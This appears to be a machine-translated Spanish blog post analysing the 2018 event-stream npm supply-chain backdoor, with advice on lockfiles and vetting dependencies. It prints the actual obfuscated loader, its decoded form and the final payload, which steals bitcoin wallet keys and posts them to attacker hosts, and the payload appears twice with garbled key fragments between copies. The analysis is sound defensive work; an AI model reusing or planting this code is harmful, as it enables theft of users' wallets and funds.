Explicar la puerta trasera en event-stream

Si trabaja con Javascript, lo más probable es que haya notado mucho ruido sobre la vulnerabilidad en el paquete npm event-stream . ( También se publicó una publicación sobre esto en Habré. ) Desafortunadamente, un análisis detallado de la situación está enterrado bajo más de 600 comentarios en el tema sobre Github , la mayoría de los cuales son una llama sobre el estado de npm, código abierto en general, etc. Pensé que era malo, porque la puerta trasera es realmente excepcionalmente inteligente e interesante desde un punto de vista técnico, y también nos enseña una importante lección sobre cómo mantener la seguridad en las aplicaciones Javascript. Así que decidí escribir una publicación con una explicación detallada de cómo funcionaba este ataque y qué puede hacer la comunidad Javascript para defenderse mejor de tales ataques en el futuro.


Antes de comenzar, quiero agradecer a FallingSnow , maths22 y joepie91 por su excelente investigación. Hicieron todo el trabajo duro de analizar la vulnerabilidad y descubrir qué hace. Más adelante en el texto, citaré sus resultados que indican autoría, pero creo que vale la pena indicar explícitamente que yo mismo no hice todo este trabajo. Solo resumo lo que otros han descubierto.


Antecedentes


event-stream es un popular módulo npm que contiene utilidades para trabajar con flujos de datos dentro de una aplicación node.js. Ahora se descarga más de 1.9 millones de veces al día. Sin embargo, no ha estado en desarrollo activo durante varios años. Su autor, Dominic Tarr , apoya una gran cantidad de otros proyectos y ya no usa este módulo en proyectos personales, por lo que fue ignorado.


Alrededor de mediados de septiembre, un usuario con el apodo right9ctrl (la cuenta de GitHub ahora se ha eliminado) sugirió hacerse cargo del soporte del módulo. Dominic estuvo de acuerdo y otorgó los derechos de acceso de right9ctrl a Github y npm. La historia de los commits parece inofensiva a primera vista:



Captura de pantalla del historial de confirmaciones en la secuencia de eventos en Github


El 9 de septiembre, right9ctrl agregó un nuevo módulo flatmap-stream dependiendo de él, para implementar la funcionalidad flatmap para event-stream (una solución bastante adecuada, ya que event-stream ya tenía utilidades similares, por ejemplo, un map regular). Luego, el 16 de septiembre, right9ctrl eliminó la flatmap-stream e implementó el método flatmap directamente. Y nuevamente, nada es inquietante, no es inusual agregar una nueva dependencia y luego decidir en unos días que será mejor implementar lo mismo usted mismo.


Atacar


La biblioteca de flujo de mapa plano también parece inofensiva; de hecho, contiene una implementación de un mapa plano para flujos de datos (aunque algo debe tener cuidado, la biblioteca tiene solo un contribuyente y no hay descargas desde npm hasta este punto).



Captura de pantalla de la página flatmap-stream en GitHub


Sin embargo, la versión de este módulo publicada en npm contenía código adicional en un archivo minificado, que quizás ni siquiera note, incluso sabiendo que está allí:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

La parte dañina aquí está al final, y fue especialmente ofuscado para evitar la detección:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

En un problema en Github, FallingSnow restauró el código fuente del marcador y mostró lo que estaba sucediendo allí:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Entonces, el código descarga el archivo ./test/data.js , que también se ./test/data.js en la versión publicada en npm a pesar de la falta de código fuente en GitHub. Este archivo contiene una serie de cadenas encriptadas a través de AES256. La npm_package_description entorno npm_package_description se establece mediante el comando npm cuando el código se ejecuta en el contexto de algún paquete, es decir, el paquete raíz, incluida la cadena de dependencia event-stream -> flatmap-stream, se usará para establecer npm_package_description (y otras variables similares). ( Nota: en otras palabras, se utilizará la descripción del archivo package.json de su proyecto en el que ejecutó este comando ). Por lo tanto, el código descifra el contenido de test/data.js usando npm_package_description como la clave, y luego intenta ejecutar el resultado.


Para la gran mayoría de los paquetes, esto conducirá a un error (que el código malicioso detectará e ignorará silenciosamente), ya que su descripción no es la clave correcta para el cifrado AES256 y el resultado del descifrado no tendrá sentido. Este es un ataque muy dirigido a un paquete específico. maths22 y algunos otros usuarios descargaron una lista de módulos npm que dependen del flujo de eventos, y clasificando las descripciones de estos módulos, seleccionamos la clave correcta y encontramos el paquete objetivo: era copay-dash , una plataforma para billeteras bitcoin. Su descripción, "A Secure Bitcoin Wallet", descifra con éxito el contenido de test/data.js , mostrando el siguiente código (amablemente proporcionado por joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Este código lanza otro nivel de descifrado, en el que se abre el script malicioso final:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Como habrás adivinado, este script está tratando de robar tu billetera bitcoin y subir sus datos al servidor del atacante.


Actualizado: el equipo de npm lanzó su informe oficial de incidentes , que explicaba que el código malicioso estaba destinado a ser lanzado en el proceso de lanzamiento de Copay para inyectar un script de robo de bitcoins en el código de la aplicación de billetera Copay.


Entonces para resumir


  • La popular plataforma de bitcoins copay-dash utiliza la dependencia de flujo de eventos.
  • En septiembre, durante aproximadamente una semana, event-stream contuvo una dependencia de flatmap-stream, ya que el proyecto se transfirió a un nuevo desarrollador que agregó la dependencia y la eliminó una semana después.
  • flatmap-stream contenía un fragmento oculto al final del código minificado, que intentaba decodificar las líneas del test/data.js , utilizando la descripción del paquete raíz como una clave AES256.
  • Para cualquier paquete normal, esto causó un error (ya que la descripción del paquete era la clave incorrecta), que se procesó en silencio. Pero para copay-dash, el descifrado proporcionó JavaScript válido, que lanzó otra etapa de descifrado y ejecutó un script malicioso que roba su billetera bitcoin.

Que hacer ahora


Fue un ataque sorprendentemente astuto, que recuerda mucho a una publicación de enero , con una descripción de un ataque hipotético similar. El atacante barrió hábilmente sus pistas: el código y el historial de confirmaciones en Github muestran una situación inofensiva y sospechosa (el nuevo desarrollador se une al proyecto, agrega una característica y luego cambia ligeramente su implementación). Además de los signos sospechosos en flatmap-stream (nuevo paquete, sin contribuyentes y estadísticas de descarga), el ataque resultó ser casi invisible. Y, de hecho, no se detectó durante 2 meses y se encontró solo ahora porque el atacante cometió un pequeño error al usar el método obsoleto crypto.createDecipher lugar de crypto.createDecipheriv , que causó un mensaje sospechoso sobre el uso del método obsoleto en otra biblioteca, que utiliza secuencia de eventos.


Desafortunadamente, este tipo de ataque no nos dejará en el futuro cercano. JavaScript es el lenguaje más popular en este momento, lo que significa que seguirá siendo un objetivo atractivo para los hackers. JavaScript también tiene relativamente poca funcionalidad en la biblioteca estándar en comparación con otros lenguajes, lo que obliga a los desarrolladores a usar paquetes de npm, junto con otros factores culturales, esto lleva al hecho de que los proyectos de JavaScript generalmente tienen un enorme árbol de dependencia.


Vale la pena señalar que, aunque las aplicaciones de JavaScript son más propensas a esta clase de vulnerabilidades, esta no es necesariamente la razón por la que JavaScript es menos seguro en general. Usualmente, JavaScript es utilizado por desarrolladores más activos que intentan estar en la ola de progreso, es decir, sus usuarios instalan más paquetes y actualizaciones, incluidas correcciones de seguridad. Al mismo tiempo, la aplicación Java de Equifax fue pirateada por la razón exactamente opuesta: no instalaron actualizaciones de seguridad para Apache Struts durante meses. Este tipo de vulnerabilidad es menos probable en aplicaciones JavaScript. Al final, al elegir una pila tecnológica para una empresa, siempre surge la pregunta de seguridad. Una lección importante será comprender los posibles escenarios de ataque para su decisión particular y la capacidad de anticiparlos.


¿Qué significa esto para la pila de JavaScript? No faltan ideas y sugerencias sobre cómo npm u otras comunidades podrían prevenir tales ataques. Pero para los usuarios finales, hay al menos dos pasos básicos para reducir sus riesgos:


  • Utiliza archivos de bloqueo . No importa si es yarn.lock o package-lock.json, cualquier archivo de bloqueo garantiza que recibirá las mismas versiones de paquetes con cada instalación, es decir, si está seguro hoy, permanecerá igual mañana. Las aplicaciones que practican dependencias flotantes sin usar archivos de bloqueo son especialmente vulnerables a las actualizaciones maliciosas, ya que instalan automáticamente la última versión disponible de las dependencias, es decir, puede verse comprometido con cada implementación después de que una de sus dependencias haya sido comprometida y publicada versión con vulnerabilidad. Con los archivos de bloqueo, al menos limitará sus riesgos a las acciones manuales de los desarrolladores que agregan y actualizan paquetes, que pueden verificarse dos veces mediante revisión de código u otras políticas de la compañía.


  • Piensa antes de poner algo . Como se muestra arriba, esto no es una panacea, los piratas informáticos aún pueden deslizarse a través de marcadores en código reducido que son difíciles de encontrar, incluso si sabe que están allí. Pero no menos, puede reducir sus riesgos si se adhiere a paquetes populares y con soporte activo. Antes de instalar una nueva adicción, primero pregúntese si realmente la necesita. Si ya sabe cómo escribir código, y no toma más de una docena de líneas, simplemente escríbalo usted mismo. Si aún necesita una dependencia, evalúela antes de la instalación. ¿Cuántas descargas tiene ella en npm? ¿El repositorio en Github parece actualizado activamente? ¿Se ha actualizado el paquete recientemente? Si no, considere bifurcar y usarlo. Esto reducirá los riesgos, ya que no estará expuesto a futuras actualizaciones peligrosas, puede leer y minimizar el código fuente usted mismo y asegurarse de que realmente lo contenga y lo haga.


Source: https://habr.com/ru/post/es431360/


All Articles